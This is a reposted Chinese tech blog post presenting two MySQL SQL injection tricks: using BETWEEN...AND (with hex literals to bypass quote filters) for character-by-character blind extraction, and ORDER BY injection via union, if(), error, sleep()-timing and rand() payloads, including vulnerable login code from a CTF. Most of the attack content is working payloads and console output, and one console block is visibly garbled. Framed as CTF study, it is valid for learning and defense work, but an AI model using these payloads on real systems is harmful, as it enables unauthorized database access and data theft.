侯体宗的博客
  • 首页
  • Hyperf版
  • beego仿版
  • 人生(杂谈)
  • 技术
  • 关于我
  • 更多分类
    • 文件下载
    • 文字修仙
    • 中国象棋ai
    • 群聊
    • 九宫格抽奖
    • 拼图
    • 消消乐
    • 相册

SQL注入的2个小Trick及示例总结

数据库  /  管理员 发布于 5年前   461

前言

最近发现了两个关于sql注入的小trick,分享一下.下面话不多说了,来一起看看详细的介绍吧

between and 操作符代替比较符

操作符 BETWEEN … AND 会选取介于两个值之间的数据范围。这些值可以是数值、文本或者日期。

between and有数据比较功能

exp1 between min and max

如果exp1的结果处于min和max之间,`between and`就返回`1`,反之返回`0`.

示例

mysql> select * from user;+----+----------+----------------------------------+-------------------+| id | username | password  | email |+----+----------+----------------------------------+-------------------+| 1 | a | 0cc175b9c0f1b6a831c399e269772661 | [email protected] || 2 | aa | 4124bc0a9335c27f086f24ba207a4912 | [email protected] || 3 | admin | 26fff50e6f9c6ca38e181c65c1531eca | [email protected] || 4 | add | 0cc175b9c0f1b6a831c399e269772661 | [email protected] |+----+----------+----------------------------------+-------------------+mysql> select * from user where id between 1 and 2;+----+----------+----------------------------------+-------------------+| id | username | password  | email |+----+----------+----------------------------------+-------------------+| 1 | a | 0cc175b9c0f1b6a831c399e269772661 | [email protected] || 2 | aa | 4124bc0a9335c27f086f24ba207a4912 | [email protected] |+----+----------+----------------------------------+-------------------+

大多数数据库都支持between and操作,但是对于边界的处理有所不同,在mysql中,between and 是包含边界的,在数学中也就是[min,max]

在盲注中应用

between and可以用来在过滤了=,like, regexp,>,<的情况下使用.

mysql> select database();+------------+| database() |+------------+| test |+------------+1 row in set (0.00 sec)

1. 配合截取函数使用

mysql> select mid(database(),1,1) between 'a' and 'a' ;+-----------------------------------------+| mid(database(),1,1) between 'a' and 'a' |+-----------------------------------------+|   0 |+-----------------------------------------+1 row in set (0.00 sec)mysql> select mid(database(),1,1) between 't' and 't' ;+-----------------------------------------+| mid(database(),1,1) between 't' and 't' |+-----------------------------------------+|   1 |+-----------------------------------------+1 row in set (0.00 sec)

2. 截取函数被过滤

表达式

select exp between min and max

在截取字符函数被过滤的时候,设置min和 max的方式有所改变.

测试1

mysql> select 'b' between 'a' and 'c';+-------------------------+| 'b' between 'a' and 'c' |+-------------------------+|  1 |+-------------------------+1 row in set (0.00 sec)mysql> select 'b' between 'a' and 'b';+-------------------------+| 'b' between 'a' and 'b' |+-------------------------+|  1 |+-------------------------+1 row in set (0.00 sec)mysql> select 'b' between 'b' and 'c';+-------------------------+| 'b' between 'b' and 'c' |+-------------------------+|  1 |+-------------------------+1 row in set (0.00 sec)

测试2

mysql> select 'bcd' between 'a' and 'c';+---------------------------+| 'bcd' between 'a' and 'c' |+---------------------------+|  1 |+---------------------------+1 row in set (0.00 sec)mysql> select 'bcd' between 'a' and 'b';+---------------------------+| 'bcd' between 'a' and 'b' |+---------------------------+|  0 |+---------------------------+1 row in set (0.00 sec)mysql> select 'bcd' between 'b' and 'c';+---------------------------+| 'bcd' between 'b' and 'c' |+---------------------------+|  1 |+---------------------------+1 row in set (0.00 sec)

由测试可知,当exp为单个字符时三种区间返回值都是1,但是当exp为字符串时,当区间为a-b时,返回值为0.区间为a-c或者b-c时,返回值为1.

也就是在进行字符串比较时,只会包含一边的值,也就是[b,c).

所以在实际利用时,就要注意区间的范围.

实际测试

mysql> select database() between 'a' and 'z';+--------------------------------+| database() between 'a' and 'z' |+--------------------------------+|  1 |+--------------------------------+1 row in set (0.05 sec)...mysql> select database() between 't' and 'z';+--------------------------------+| database() between 't' and 'z' |+--------------------------------+|  1 |+--------------------------------+1 row in set (0.00 sec)mysql> select database() between 'u' and 'z';+--------------------------------+| database() between 'u' and 'z' |+--------------------------------+|  0 |+--------------------------------+1 row in set (0.00 sec)

由结果可知,第一个字符为t

第二个字符

mysql> select database() between 'tatest+----------------------------------+test| database() between 'ta' and 'tz' |test+----------------------------------+|    1 |+----------------------------------+1 row in set (0.00 sec)mysql> select database() between 'te' and 'tz';+----------------------------------+| database() between 'te' and 'tz' |+----------------------------------+|    1 |+----------------------------------+1 row in set (0.00 sec)mysql> select database() between 'tf' and 'tz';+----------------------------------+| database() between 'tf' and 'tz' |+----------------------------------+|    0 |+----------------------------------+1 row in set (0.00 sec)

剩下的以此类推.最终为test.

3. 单引号被过滤

between and还支持16进制,所以可以用16进制,来绕过单引号的过滤.

测试

mysql> select database() between 0x61 and 0x7a; //select database() between 'a' and 'z';+----------------------------------+| database() between 0x61 and 0x7a |+----------------------------------+|    1 |+----------------------------------+1 row in set (0.00 sec)mysql> select database() between 0x74 and 0x7a; //select database() between 't' and 'z';+----------------------------------+| database() between 0x74 and 0x7a |+----------------------------------+|    1 |+----------------------------------+1 row in set (0.00 sec)mysql> select database() between 0x75 and 0x7a; //select database() between 'u' and 'z';+----------------------------------+| database() between 0x75 and 0x7a |+----------------------------------+|    0 |+----------------------------------+1 row in set (0.00 sec)

了解order by

order by是mysql中对查询数据进行排序的方法,
使用示例

select * from 表名 order by 列名(或者数字) asc;升序(默认升序)select * from 表名 order by 列名(或者数字) desc;降序

这里的重点在于order by后既可以填列名或者是一个数字。举个例子:

id是user表的第一列的列名,那么如果想根据id来排序,有两种写法:

select * from user order by id;selecr * from user order by 1;

order by盲注

结合union来盲注

这个是在安恒杯月赛上看到的。

后台关键代码

$sql = 'select * from admin where username='".$username."'';$result = mysql_query($sql);$row = mysql_fetch_array($result);if(isset($row)&&row['username']!="admin"){ $hit="username error!";}else{ if ($row['password'] === $password){ $hit=""; }else{ $hit="password error!"; }}

payload

username=admin' union 1,2,'字符串' order by 3

sql语句就变为

select * from admin where username='admin' or 1 union select 1,2,binary '字符串' order by 3;

这里就会对第三列进行比较,即将字符串和密码进行比较。然后就可以根据页面返回的不同情况进行盲注。
注意的是最好加上binary,因为order by比较的时候不区分大小写。

基于if()盲注

需要知道列名

order by的列不同,返回的页面当然也是不同的,所以就可以根据排序的列不同来盲注。

示例:

order by if(1=1,id,username);

这里如果使用数字代替列名是不行的,因为if语句返回的是字符类型,不是整型。

不需要知道列名

payload

order by if(表达式,1,(select id from information_schema.tables))

如果表达式为false时,sql语句会报ERROR 1242 (21000): Subquery returns more than 1 row的错误,导致查询内容为空,如果表达式为true是,则会返回正常的页面。

基于时间的盲注

payload

order by if(1=1,1,sleep(1))

测试结果

select * from ha order by if(1=1,1,sleep(1)); #正常时间
select * from ha order by if(1=2,1,sleep(1)); #有延迟

测试的时候发现延迟的时间并不是sleep(1)中的1秒,而是大于1秒。

最后发现延迟的时间和所查询的数据的条数是成倍数关系的。

计算公式:

延迟时间=sleep(1)的秒数*所查询数据条数

我所测试的ha表中有五条数据,所以延迟了5秒。如果查询的数据很多时,延迟的时间就会很长了。

在写脚本时,可以添加timeout这一参数来避免延迟时间过长这一情况。

基于rang()的盲注

原理不赘述了,直接看测试结果

mysql> select * from ha order by rand(true);+----+------+| id | name |+----+------+| 9 | NULL || 6 | NULL || 5 | NULL || 1 | dss || 0 | dasd |+----+------+mysql> select * from ha order by rand(false);+----+------+| id | name |+----+------+| 1 | dss || 6 | NULL || 0 | dasd || 5 | NULL || 9 | NULL |+----+------+

可以看到当rang()为true和false时,排序结果是不同的,所以就可以使用rang()函数进行盲注了。
例

order by rand(ascii(mid((select database()),1,1))>96)

后记

order by注入在crf里其实出现挺多了,一直没有总结过.这次比较全的整理了一下(自认为比较全.XD),就和between and一起发出来了.欢迎师傅交流学习.

好了,以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,如果有疑问大家可以留言交流,谢谢大家对AIDI的支持。


  • 上一条:
    SQL中where子句与having子句的区别小结
    下一条:
    SQL注入技巧之显注与盲注中过滤逗号绕过详析
  • 昵称:

    邮箱:

    0条评论 (评论内容有缓存机制,请悉知!)
    最新最热
    • 分类目录
    • 人生(杂谈)
    • 技术
    • linux
    • Java
    • php
    • 框架(架构)
    • 前端
    • ThinkPHP
    • 数据库
    • 微信(小程序)
    • Laravel
    • Redis
    • Docker
    • Go
    • swoole
    • Windows
    • Python
    • 苹果(mac/ios)
    • 相关文章
    • 分库分表的目的、优缺点及具体实现方式介绍(0个评论)
    • DevDB - 在 VS 代码中直接访问数据库(0个评论)
    • 在ubuntu系统中实现mysql数据存储目录迁移流程步骤(0个评论)
    • 在mysql中使用存储过程批量新增测试数据流程步骤(0个评论)
    • php+mysql数据库批量根据条件快速更新、连表更新sql实现(0个评论)
    • 近期文章
    • 在go中实现一个常用的先进先出的缓存淘汰算法示例代码(0个评论)
    • 在go+gin中使用"github.com/skip2/go-qrcode"实现url转二维码功能(0个评论)
    • 在go语言中使用api.geonames.org接口实现根据国际邮政编码获取地址信息功能(1个评论)
    • 在go语言中使用github.com/signintech/gopdf实现生成pdf分页文件功能(0个评论)
    • gmail发邮件报错:534 5.7.9 Application-specific password required...解决方案(0个评论)
    • 欧盟关于强迫劳动的规定的官方举报渠道及官方举报网站(0个评论)
    • 在go语言中使用github.com/signintech/gopdf实现生成pdf文件功能(0个评论)
    • Laravel从Accel获得5700万美元A轮融资(0个评论)
    • 在go + gin中gorm实现指定搜索/区间搜索分页列表功能接口实例(0个评论)
    • 在go语言中实现IP/CIDR的ip和netmask互转及IP段形式互转及ip是否存在IP/CIDR(0个评论)
    • 近期评论
    • 122 在

      学历:一种延缓就业设计,生活需求下的权衡之选中评论 工作几年后,报名考研了,到现在还没认真学习备考,迷茫中。作为一名北漂互联网打工人..
    • 123 在

      Clash for Windows作者删库跑路了,github已404中评论 按理说只要你在国内,所有的流量进出都在监控范围内,不管你怎么隐藏也没用,想搞你分..
    • 原梓番博客 在

      在Laravel框架中使用模型Model分表最简单的方法中评论 好久好久都没看友情链接申请了,今天刚看,已经添加。..
    • 博主 在

      佛跳墙vpn软件不会用?上不了网?佛跳墙vpn常见问题以及解决办法中评论 @1111老铁这个不行了,可以看看近期评论的其他文章..
    • 1111 在

      佛跳墙vpn软件不会用?上不了网?佛跳墙vpn常见问题以及解决办法中评论 网站不能打开,博主百忙中能否发个APP下载链接,佛跳墙或极光..
    • 2017-06
    • 2017-08
    • 2017-09
    • 2017-10
    • 2017-11
    • 2018-01
    • 2018-05
    • 2018-10
    • 2018-11
    • 2020-02
    • 2020-03
    • 2020-04
    • 2020-05
    • 2020-06
    • 2020-07
    • 2020-08
    • 2020-09
    • 2021-02
    • 2021-04
    • 2021-07
    • 2021-08
    • 2021-11
    • 2021-12
    • 2022-02
    • 2022-03
    • 2022-05
    • 2022-06
    • 2022-07
    • 2022-08
    • 2022-09
    • 2022-10
    • 2022-11
    • 2022-12
    • 2023-01
    • 2023-03
    • 2023-04
    • 2023-05
    • 2023-07
    • 2023-08
    • 2023-10
    • 2023-11
    • 2023-12
    • 2024-01
    • 2024-03
    Top

    Copyright·© 2019 侯体宗版权所有· 粤ICP备20027696号 PHP交流群

    侯体宗的博客